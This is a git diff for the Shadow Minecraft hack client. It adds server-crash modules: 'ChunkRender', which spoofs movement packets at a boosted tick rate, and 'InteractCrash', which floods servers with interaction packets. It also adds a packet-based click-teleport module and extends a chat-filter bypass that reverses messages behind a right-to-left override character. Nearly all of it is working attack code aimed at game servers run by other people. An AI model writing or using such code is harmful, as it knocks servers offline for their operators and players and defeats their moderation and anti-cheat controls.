diff --git a/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java b/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java index 8401c36..57e8707 100644 --- a/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java +++ b/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java @@ -21,6 +21,8 @@ import net.shadow.client.feature.module.impl.combat.Velocity; import net.shadow.client.feature.module.impl.crash.AnimationCrash; import net.shadow.client.feature.module.impl.crash.ArmorStandCrash; import net.shadow.client.feature.module.impl.crash.BookInflator; +import net.shadow.client.feature.module.impl.crash.ChunkRender; +import net.shadow.client.feature.module.impl.crash.InteractCrash; import net.shadow.client.feature.module.impl.crash.LecternCrash; import net.shadow.client.feature.module.impl.crash.LoominaCrash; import net.shadow.client.feature.module.impl.crash.MinehutCrash; @@ -65,6 +67,7 @@ import net.shadow.client.feature.module.impl.movement.Blink; import net.shadow.client.feature.module.impl.movement.BlocksmcFlight; import net.shadow.client.feature.module.impl.movement.BoatPhase; import net.shadow.client.feature.module.impl.movement.Boost; +import net.shadow.client.feature.module.impl.movement.ClickTP; import net.shadow.client.feature.module.impl.movement.EdgeJump; import net.shadow.client.feature.module.impl.movement.EdgeSneak; import net.shadow.client.feature.module.impl.movement.EntityFly; @@ -294,6 +297,9 @@ public class ModuleRegistry { vanillaModules.add(new Speed()); vanillaModules.add(new BoatFling()); vanillaModules.add(new FilterBypass()); + vanillaModules.add(new InteractCrash()); + vanillaModules.add(new ChunkRender()); + vanillaModules.add(new ClickTP()); rebuildSharedModuleList(); } diff --git a/src/main/java/net/shadow/client/feature/module/impl/crash/ChunkRender.java b/src/main/java/net/shadow/client/feature/module/impl/crash/ChunkRender.java new file mode 100644 index 0000000..9a720ea --- /dev/null +++ b/src/main/java/net/shadow/client/feature/module/impl/crash/ChunkRender.java @@ -0,0 +1,132 @@ +/* + * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. + */ + +package net.shadow.client.feature.module.impl.crash; + +import net.minecraft.client.util.math.MatrixStack; +import net.shadow.client.feature.config.DoubleSetting; +import net.shadow.client.feature.module.Module; +import net.shadow.client.feature.module.ModuleType; +import net.shadow.client.helper.event.EventListener; +import net.shadow.client.helper.event.EventType; +import net.shadow.client.helper.event.Events; +import net.shadow.client.helper.event.events.PacketEvent; +import net.shadow.client.helper.util.Utils; + +import java.util.Random; + +import net.minecraft.client.network.ClientPlayerEntity; +import net.minecraft.network.Packet; +import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket; +import net.minecraft.network.packet.c2s.play.TeleportConfirmC2SPacket; +import net.minecraft.network.packet.s2c.play.PlayerPositionLookS2CPacket; +import net.minecraft.util.math.Vec3d; +import net.minecraft.world.World; + +public class ChunkRender extends Module { + + static boolean shouldfly; + static int ppls; + static int ticks; + + final DoubleSetting velocity = this.config.create(new DoubleSetting.Builder(7).min(1).max(10).name("Velocity").description("How fast to move").get()); + final DoubleSetting timer = this.config.create(new DoubleSetting.Builder(25).min(20).max(200).name("Timer").description("Timer boost speed").get()); + final DoubleSetting lockat = this.config.create(new DoubleSetting.Builder(200).min(20).max(500).name("LockAT").description("What height to start boosting at").get()); + boolean capture = true; + + public ChunkRender() { + super("ChunkRender", "render chunks to crash the server", ModuleType.CRASH); + Events.registerEventHandlerClass(this); + } + + @Override + public void tick() { + Utils.setClientTps(timer.getValue().floatValue()); + ClientPlayerEntity player = client.player; + ticks++; + client.player.setSprinting(true); + Vec3d forward = Vec3d.fromPolar(0, player.getYaw()).normalize(); + if (client.player.getY() < lockat.getValue()) { + player.setVelocity(0, 0.3, 0); + } else { + if (shouldfly) { + client.options.forwardKey.setPressed(true); + player.setVelocity(forward.x * velocity.getValue(), 0, forward.z * velocity.getValue()); + } else { + client.options.forwardKey.setPressed(true); + } + } + if (ticks % 5 == 0) { + client.player.networkHandler.sendPacket(new TeleportConfirmC2SPacket(ticks)); + } + if (ticks % 200 == 0) { + ppls = 0; + } + } + + @Override + public void enable() { + } + + @Override + public void disable() { + Utils.setClientTps(20F); + } + + @Override + public String getContext() { + return null; + } + + @Override + public void onWorldRender(MatrixStack matrices) { + + } + + @EventListener(type=EventType.PACKET_SEND) + void onSentPacket(PacketEvent event){ + if(!this.isEnabled()) return; + if(!capture) return; + + if (!(event.getPacket() instanceof PlayerMoveC2SPacket packet)) + return; + + if (!(packet instanceof PlayerMoveC2SPacket.PositionAndOnGround || packet instanceof PlayerMoveC2SPacket.Full)) + return; + + if (client.player.input == null) { + event.setCancelled(true); + return; + } + + event.setCancelled(true); + double x = packet.getX(0); + double y = packet.getY(0); + double z = packet.getZ(0); + + Packet newPacket; + if (packet instanceof PlayerMoveC2SPacket.PositionAndOnGround) + newPacket = new PlayerMoveC2SPacket.PositionAndOnGround(x, y + randomboolnum(), z, true); + else + newPacket = new PlayerMoveC2SPacket.Full(x, y + randomboolnum(), z, packet.getYaw(0), + packet.getPitch(0), true); + + capture = false; + client.player.networkHandler.getConnection().send(newPacket); + capture = true; + } + + @Override + public void onHudRender() { + + } + + private double randomboolnum() { + if (new Random().nextBoolean()) { + return Math.random() * 1.5; + } else { + return Math.random() * -1.5; + } + } +} diff --git a/src/main/java/net/shadow/client/feature/module/impl/crash/InteractCrash.java b/src/main/java/net/shadow/client/feature/module/impl/crash/InteractCrash.java new file mode 100644 index 0000000..078a166 --- /dev/null +++ b/src/main/java/net/shadow/client/feature/module/impl/crash/InteractCrash.java @@ -0,0 +1,88 @@ +/* + * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. + */ + +package net.shadow.client.feature.module.impl.crash; + +import net.minecraft.client.util.math.MatrixStack; +import net.shadow.client.feature.config.DoubleSetting; +import net.shadow.client.feature.config.EnumSetting; +import net.shadow.client.feature.module.Module; +import net.shadow.client.feature.module.ModuleType; +import net.minecraft.entity.Entity; +import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket; +import net.minecraft.network.packet.c2s.play.PlayerInteractEntityC2SPacket; +import net.minecraft.network.packet.c2s.play.PlayerInteractItemC2SPacket; +import net.minecraft.util.Hand; +import net.minecraft.util.hit.BlockHitResult; +import net.minecraft.util.hit.EntityHitResult; + +public class InteractCrash extends Module { + + final EnumSetting mode = this.config.create(new EnumSetting.Builder<>(Mode.Block).name("Mode").description("How to interact").get()); + final DoubleSetting repeat = this.config.create(new DoubleSetting.Builder(5).min(1).max(100).name("Power").description("How much power to attack with").get()); + + public InteractCrash() { + super("InteractCrash", "crash by using many interactions", ModuleType.CRASH); + } + + @Override + public void tick() { + switch(mode.getValue()){ + case Block -> { + BlockHitResult bhr = (BlockHitResult) client.crosshairTarget; + if (client.world.getBlockState(bhr.getBlockPos()).isAir()) return; + for (int i = 0; i < repeat.getValue(); i++) { + client.player.networkHandler.sendPacket(new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, bhr)); + } + } + + case Item -> { + for (int i = 0; i < repeat.getValue(); i++) { + client.player.networkHandler.sendPacket(new PlayerInteractItemC2SPacket(Hand.MAIN_HAND)); + } + } + + case Entity -> { + Entity target; + if (!(client.crosshairTarget instanceof EntityHitResult)) { + target = null; + return; + } + target = ((EntityHitResult) client.crosshairTarget).getEntity(); + for (int i = 0; i < repeat.getValue(); i++) { + client.player.networkHandler.sendPacket(PlayerInteractEntityC2SPacket.interact(target, false, Hand.MAIN_HAND)); + } + } + } + } + + @Override + public void enable() { + } + + @Override + public void disable() { + } + + @Override + public String getContext() { + return null; + } + + @Override + public void onWorldRender(MatrixStack matrices) { + + } + + @Override + public void onHudRender() { + + } + + public enum Mode { + Block, + Item, + Entity + } +} diff --git a/src/main/java/net/shadow/client/feature/module/impl/exploit/FilterBypass.java b/src/main/java/net/shadow/client/feature/module/impl/exploit/FilterBypass.java index 62c69ca..a1ee594 100644 --- a/src/main/java/net/shadow/client/feature/module/impl/exploit/FilterBypass.java +++ b/src/main/java/net/shadow/client/feature/module/impl/exploit/FilterBypass.java @@ -5,13 +5,21 @@ package net.shadow.client.feature.module.impl.exploit; import net.minecraft.client.util.math.MatrixStack; +import net.minecraft.network.packet.c2s.play.ChatMessageC2SPacket; import net.shadow.client.feature.module.Module; import net.shadow.client.feature.module.ModuleType; +import net.shadow.client.helper.event.EventListener; +import net.shadow.client.helper.event.EventType; +import net.shadow.client.helper.event.Events; +import net.shadow.client.helper.event.events.PacketEvent; public class FilterBypass extends Module { + boolean blockPackets = true; + public FilterBypass() { - super("FilterBypass", "bypass the chat filter", ModuleType.MISC); + super("FilterBypass", "bypass the chat filter", ModuleType.EXPLOIT); + Events.registerEventHandlerClass(this); } @Override @@ -32,6 +40,25 @@ public class FilterBypass extends Module { return null; } + @EventListener(type=EventType.PACKET_RECEIVE) + void onRecievePacket(PacketEvent event){ + if(!this.isEnabled())return; + if(!blockPackets) return; + if(event.getPacket() instanceof ChatMessageC2SPacket packet){ + event.setCancelled(true); + String message = packet.getChatMessage(); + if (message.startsWith("/") || message.startsWith(">")) { + return; + } + StringBuilder rvmsg = new StringBuilder(message).reverse(); + String msgout = rvmsg.toString(); + String msgformatted = "\u202E " + rvmsg; + blockPackets = false; + client.player.networkHandler.sendPacket(new ChatMessageC2SPacket(msgformatted)); + blockPackets = true; + } + } + @Override public void onWorldRender(MatrixStack matrices) { diff --git a/src/main/java/net/shadow/client/feature/module/impl/movement/ClickTP.java b/src/main/java/net/shadow/client/feature/module/impl/movement/ClickTP.java new file mode 100644 index 0000000..37664c6 --- /dev/null +++ b/src/main/java/net/shadow/client/feature/module/impl/movement/ClickTP.java @@ -0,0 +1,173 @@ +/* + * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. + */ + +package net.shadow.client.feature.module.impl.movement; + +import net.minecraft.client.util.math.MatrixStack; +import net.shadow.client.ShadowMain; +import net.shadow.client.feature.config.BooleanSetting; +import net.shadow.client.feature.config.EnumSetting; +import net.shadow.client.feature.module.Module; +import net.shadow.client.feature.module.ModuleType; +import net.shadow.client.helper.event.EventListener; +import net.shadow.client.helper.event.EventType; +import net.shadow.client.helper.event.Events; +import net.shadow.client.helper.event.events.MouseEvent; +import net.shadow.client.helper.render.Renderer; +import net.shadow.client.helper.util.Utils; +import net.minecraft.client.network.ClientPlayerEntity; +import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket; +import net.minecraft.util.hit.BlockHitResult; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.Direction; +import net.minecraft.util.math.Vec3d; +import java.awt.*; + +public class ClickTP extends Module { + + private static BlockPos targeted = new BlockPos(0, 0, 0); + final EnumSetting mode = this.config.create(new EnumSetting.Builder<>(Mode.Normal).name("Mode").description("The way to teleport").get()); + final BooleanSetting onlyctrl = this.config.create(new BooleanSetting.Builder(false).name("Only Ctrl").description("Only teleport when the control key is pressed").get()); + + private static int lengthTo(BlockPos p) { + Vec3d v = new Vec3d(p.getX(), p.getY(), p.getZ()); + return (int) roundToN(v.distanceTo(client.player.getPos()), 0); + } + + public static double roundToN(double x, int n) { + if (n == 0) return Math.floor(x); + double factor = Math.pow(10, n); + return Math.round(x * factor) / factor; + } + + public ClickTP() { + super("ClickTP", "teleport with click", ModuleType.MISC); + Events.registerEventHandlerClass(this); + } + + @Override + public void tick() { + BlockHitResult ray = (BlockHitResult) client.player.raycast(200, client.getTickDelta(), true); + targeted = new BlockPos(ray.getBlockPos()); + } + + @Override + public void enable() { + } + + @Override + public void disable() { + } + + @Override + public String getContext() { + return null; + } + + @EventListener(type=EventType.MOUSE_EVENT) + void onMouseEvent(MouseEvent event){ + if (!this.isEnabled()) return; + if (((MouseEvent) event).getButton() == 1 && ((MouseEvent) event).getAction() == 1) { + if (ShadowMain.client.currentScreen != null) return; + BlockHitResult ray = (BlockHitResult) client.player.raycast(200, client.getTickDelta(), true); + int rd = lengthTo(ray.getBlockPos()); + int raycastdistance = rd / 7; + BlockHitResult blockHitResult = (BlockHitResult) client.player.raycast(200, client.getTickDelta(), true); + BlockPos d = new BlockPos(blockHitResult.getBlockPos()); + BlockPos dest = new BlockPos(d.getX() + 0.5, d.getY(), d.getZ() + 0.5); + dest = dest.offset(Direction.UP, 1); + + if (onlyctrl.getValue() && !client.options.sprintKey.isPressed()) + return; + + switch(mode.getValue()){ + case Normal -> { + client.player.updatePosition(dest.getX(), dest.getY(), dest.getZ()); + } + + case Split -> { + client.player.jump(); + ClientPlayerEntity player = client.player; + Vec3d playerpos = player.getPos(); + double xn = dest.getX() - playerpos.x; + double yn = dest.getY() - playerpos.y; + double zn = dest.getZ() - playerpos.z; + double x = xn / raycastdistance; + double y = yn / raycastdistance; + double z = zn / raycastdistance; + for (int i = 0; i < raycastdistance; i++) { + client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(player.getX() + x, player.getY() + y, player.getZ() + z, true)); + } + player.updatePosition(dest.getX(), dest.getY(), dest.getZ()); + } + + case Tween -> { + new Thread(() -> { + int rdd = lengthTo(ray.getBlockPos()); + BlockPos destt = new BlockPos(blockHitResult.getBlockPos()); + client.player.jump(); + ClientPlayerEntity player = client.player; + Vec3d playerpos = player.getPos(); + double xn = destt.getX() - playerpos.x; + double yn = destt.getY() - playerpos.y; + double zn = destt.getZ() - playerpos.z; + double x = xn / rdd; + double y = yn / rdd; + double z = zn / rdd; + for (int i = 0; i < rdd; i++) { + client.player.updatePosition(player.getX() + x, player.getY() + y, player.getZ() + z); + try { + Thread.sleep(7); + } catch (Exception ignored) { + } + client.player.setVelocity(0, 0, 0); + } + }).start(); + } + + case Experimental -> { + new Thread(() -> { + int rdd = lengthTo(ray.getBlockPos()); + BlockPos destt = new BlockPos(blockHitResult.getBlockPos()); + client.player.jump(); + ClientPlayerEntity player = client.player; + Vec3d playerpos = player.getPos(); + double xn = destt.getX() - playerpos.x; + double yn = destt.getY() - playerpos.y; + double zn = destt.getZ() - playerpos.z; + double x = xn / rdd; + double y = yn / rdd; + double z = zn / rdd; + for (int i = 0; i < rdd; i++) { + client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(player.getX() + x, player.getY() + y, player.getZ() + z, true)); + try { + Thread.sleep(10); + } catch (Exception ignored) { + } + client.player.setVelocity(0, 0, 0); + } + }).start(); + } + } + } + } + + @Override + public void onWorldRender(MatrixStack matrices) { + Vec3d vp = new Vec3d(targeted.getX(), targeted.getY(), targeted.getZ()); + Renderer.R3D.renderFilled(vp, new Vec3d(1, 1, 1), Utils.getCurrentRGB(), matrices); + } + + @Override + public void onHudRender() { + + } + + public enum Mode { + Split, + Normal, + Tween, + Experimental + } +}